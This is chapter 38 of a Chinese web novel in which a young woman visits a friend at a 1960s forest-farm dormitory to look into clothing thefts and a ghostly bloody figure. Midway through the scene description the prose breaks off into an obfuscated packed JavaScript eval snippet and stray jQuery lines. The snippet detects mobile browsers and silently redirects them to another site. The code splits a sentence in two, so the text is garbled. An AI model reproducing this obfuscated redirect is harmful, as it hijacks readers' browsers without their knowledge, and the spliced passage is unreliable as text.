38. 摆烂的第三十八天

作品:《重生六零摆烂日常

    这天,顾年年正在厨房里忙着做午饭,突然听到陈小红咋咋呼呼的声音。


    “小姑你看这是谁来了?”陈小红穿着衬衣长裤,裤腿挽到小腿肚上,肩膀上还扛着一把锄头,看样子是刚从地里回来。


    她身后是王淑珍。


    顾年年十分惊喜,连忙放下锅铲,“你怎么有空来了?”


    “我来东岳公社这边开会,想到你住附近,还有时间就过来水口村这边,碰巧遇到陈大姐,麻烦她带我过来了。”王淑珍有些不好意思。


    陈小红说,“这不是刚好我要回家吃饭吗,就在村口遇到这个大姑娘要来找你,就顺道带个路,一点也不麻烦。”


    城里人说话就是客气,搞得她有些不好意思。


    得到顾年年的肯定,陈小红马上昂首挺胸,似乎完成了一项重大使命,不过她没有久留,因为回家还得喂猪。


    顾年年招呼王淑珍坐下,拿出玻璃杯,倒上金钱草干煮成的凉茶,“你先喝点水。”


    “不瞒你说,我一路走过来,喉咙都冒烟了,”王淑珍接过杯子惊喜地说,“这不是以前学校奖的杯子吗,一套两个,我也有,不过放在家里了。”


    “我让我爸回城里带回来的,这房子是我家的祖屋,好久没人住了,打扫都费了很大功夫,连杯子也没有,刚开始我都是拿碗来喝水的。”顾年年说。


    她仔细打量王淑珍,几个月没见。


    王淑珍似乎又长高了,皮肤也变黑了,笑时露出的牙齿显得格外洁白,衣服肘子处有两个补丁,精神状态挺好。


    “真好,能住的自己房子,我是在知青点住的,”王淑珍喝了一口凉茶润润喉,总算感觉舒服点了,“虽然是简陋了点,但大家一起工作,得闲时一起唱歌看电影,……”


    她似乎想到什么,语气变得踟躇,手指一下攥紧玻璃杯,一下又松开。


    玻璃杯上印着红色的“白沙第一中学”字样,琥珀色的茶水在透明的杯体里轻微摇晃。


    她的手指已经长一层厚茧,手心和手腕附近有几道线状伤痕,看上去是划伤。


    顾年年问,“你吃午饭了吗,没吃的话我再煮点粉丝?”


    王淑珍像被惊扰的小鸟,马上坐直了,“那太谢谢你了。”


    如果天气太热,顾年年不喜欢吃面食,因为她怕热,汤汤水水的一顿吃下来,满脸都是汗,反而更热了。


    而现在过了白露,天气渐渐凉爽起来,吃点面食会舒服一些。


    她今天煮的是荷包蛋粉丝,加点虾仁冬菇丝和淡菜干,口感层次就更加丰富了。


    王淑珍坐在灶台前,往灶膛里扔两块碎木块,让火烧得旺一些,然后扒拉一下炉箅子下面的灰。


    顾年年家用的是木柴。


    干草不耐烧,木柴耐烧,但木柴不容易得,往往要去到山高林密的地方,王淑珍在林场干活,所以才有宽裕一点的木柴。


    她挺羡慕顾年年的。


    不过羡慕归羡慕,日子还得照样过。


    顾年年很快做好一碗粉丝汤,一个金黄焦香的荷包蛋卧在碗面,旁边还有两根鲜嫩的青菜,香得很。


    王淑珍将粉丝吃得干干净净,就连汤也喝完了。


    “上次台风真大,林场的树也倒了不少,来年春天要补种回去,”她说,“林场还有温泉,泉眼水有股味道,不过正好可以拿来煨鸡蛋。”


    “听你这么说林场挺好玩的。”顾年年说。


    “好玩是挺好玩的,只不过糟心事也不少,”王淑珍最后还是忍不住说出来,“不怕你笑话,知青点出了件怪事,很多姑娘的衣服被偷了……”


    顾年年:好像听到不得了的事情。


    王淑珍说,知青点里除了她以外,还有两个女知青,她们平时换下来的衣服洗干净以后,会拿到天井晾晒。


    怪事是差不多一个星期前出现的。


    衣服开始不见,有时候是外衣,大多数是内衣,一开始以为是被林子里的野物叼走的,但后来想想不对,野物不会专门叼走内衣。


    姑娘们觉得,做出这种事的指不定有什么毛病。


    王淑珍非常苦恼,“一想到那个偷衣贼不知道拿衣服不知道做些什么,我就觉得恶心。”


    她们白天需要出外干活,只能把衣服锁在房间里,等回来以后再挂出来。


    然后有个暴雨如注的晚上,王淑珍被雷声吵醒,于是迷迷糊糊地起身关窗,突然一道闪电袭来,照亮了周遭事物。


    她骇然发现窗户前面的芭蕉树下,站着个脸上都是血的黑衣人,不由得吓得大叫一声,什么睡意都没有了。


    等大家都起来,赶到芭蕉树那里时,黑衣人早已经不见踪影,就像没有来过一样。


    顾年年问,“会不会是你看错了?”


    “不会的,我看得很真切,那人眼框里没有眼睛,黑乎乎的两个大洞,满脸是血……我现在想起心都在揪着!”王淑珍攥紧拳头,尽量不让声音发抖。


    顾年年轻轻拍打她后背,让她精神状态别再继续紧绷,“你看得出来是男的还是女的吗?”


    “是男的,”王淑珍想了想,很肯定地说,“陈秀山和林振荣都觉得我是睡觉睡糊涂了,把现实和梦境搞混了,但我心里清楚得很,我没看错。”


    她几天没睡好,一闭上眼睛那可怕的画面就在脑海里不断回放,似乎窗外就有一个神秘的黑影在外面死死地盯着她。


    这怎么可能看错呢?


    她的目光满含期待,“年年,这件事你有什么头绪吗?”


    “我目前没有头绪,要不先跟你回林场再说。”


    “诶???”


    山的另一边,林场已经笼罩着淡淡的烟霭,现在不比夏天,到了下午阳光变得微弱,连鸟的叫声也十分悠长。


    知青们的宿舍就在白石村后面,原本是一个地主的房子,后来因为战乱地主带着老婆孩子跑到国外再也没回来,便被用来安置知青们。


    好就好在房子虽然旧,但质量很好,扛过了上次台风,连带着雕花的玻璃窗都完好无损。


    这是一栋两层的小楼,第一层以前是仆人的房间,不过现在没人居住,已经大门紧锁,无法窥见里面的情况。


    一楼和二楼无法直接相连通,二楼由建造在房子外的楼梯进入,地砖色彩浓郁,绘着蓝色鸢尾花图案,楼梯尽头是柱廊。


    知青们的宿舍就在柱廊后,分为男女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528340|185864||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    两边。


    顾年年现在就柱廊的栏杆边上眺望远处的竹林。


    这不应该叫竹林,应该叫做竹海了,一棵棵劲竹拔地而起,形成一大片广袤的令人心神愉悦的绿。


    王淑珍指给她看,“就那棵芭蕉树,看到了吗,树上还有一挂芭蕉花,上次台风刮倒了,后来重新长起来的。”


    顾年年看过去,芭蕉树就在小楼前面,从王淑珍的房间能直接看到。


    王淑珍说,“你想,大半夜的,打雷闪电,还发现外面站着个满脸流血的东西,吓不吓人?”


    关键是,只有她看到了,其他人都说没看到,这找谁说理去?


    顾年年点点头,“带我去你住的地方看看。”


    住的地方是一个大房间,浓浓的异域风情,墙上贴着花朵式样的水泥浮雕,天花板用木头制成,现在已经灰旧。


    房间采光很好,得益于有两扇大玻璃窗,没窗的墙边放着两张架子床和椅子等物品,这是知青们平时生活的地方。


    桌子上有一个用老黄竹制成的花瓶,里面放上黄的红的野花,倒也生机盎然。


    王淑珍有些不好意思,“这里能住的房间少,我们几个姑娘都住在一起,大家互相照应。”


    “在这里会不会经常看到野物?”顾年年问。


    “有蛇和猫头鹰,还有蜈蚣之类的虫子,”王淑珍说,“刚开始我们住在一楼,一楼方便点,但见到那些虫子以后我们就马上搬到二楼了。”


    搬了以后发现,二楼采光好,又不会像一楼这么潮湿,更适合住人。


    这时候去外面干活的人陆陆续续地回来了,陈秀山肩膀上搭着条破毛巾走在最前面,一边走一边和林振荣说话。


    “哇,这不是顾年年吗?”林振荣走上二楼就看到了顾年年的身影,开始还不敢相信,直至顾年年跟他打招呼才确定,“你怎么来了?”


    陈秀山连忙取下肩膀上的毛巾,看了一眼顾年年,发现她和记忆中的样子没有区别,“该不会是来帮王淑珍捉鬼的吧?”


    “我可没捉鬼的本事。”顾年年说。


    “我就说这世界没有鬼,偏偏王淑珍还自己吓自己,从来没见过这么胆小的人。”陈秀山哼了一声。


    王淑珍眼含泪光,“有鬼没鬼都不关你事,用不着你管。”


    说着跑进屋里。


    “难道我说错了吗?”陈秀山只觉得她不可理喻,整天神神叨叨的,看了就让人不开心。


    林振荣没说话,把手上的工具挂在墙上。


    陈秀山顿感无趣。


    房间里,王淑珍放下蚊帐,对着墙壁掉眼泪。


    “知道他是什么样的人,就别喜欢他了,他不值得。”顾年年说。


    要不以后陈秀山公费出国,在国外又找个第二春,留下老婆孩子在国内,跟丧偶没啥区别,比丧偶更恶心人。


    王淑珍擦了擦眼泪,倔强地说,“早不喜欢他了,我只是为当初的有眼无珠而哭。”


    这已经成了她的黑历史。


    而陈秀山知道她喜欢他以后,更加肆无忌惮地欺负她,让她刚刚蹿起的朦朦胧胧的小心思马上熄火。


    这已经成了她的黑历史了!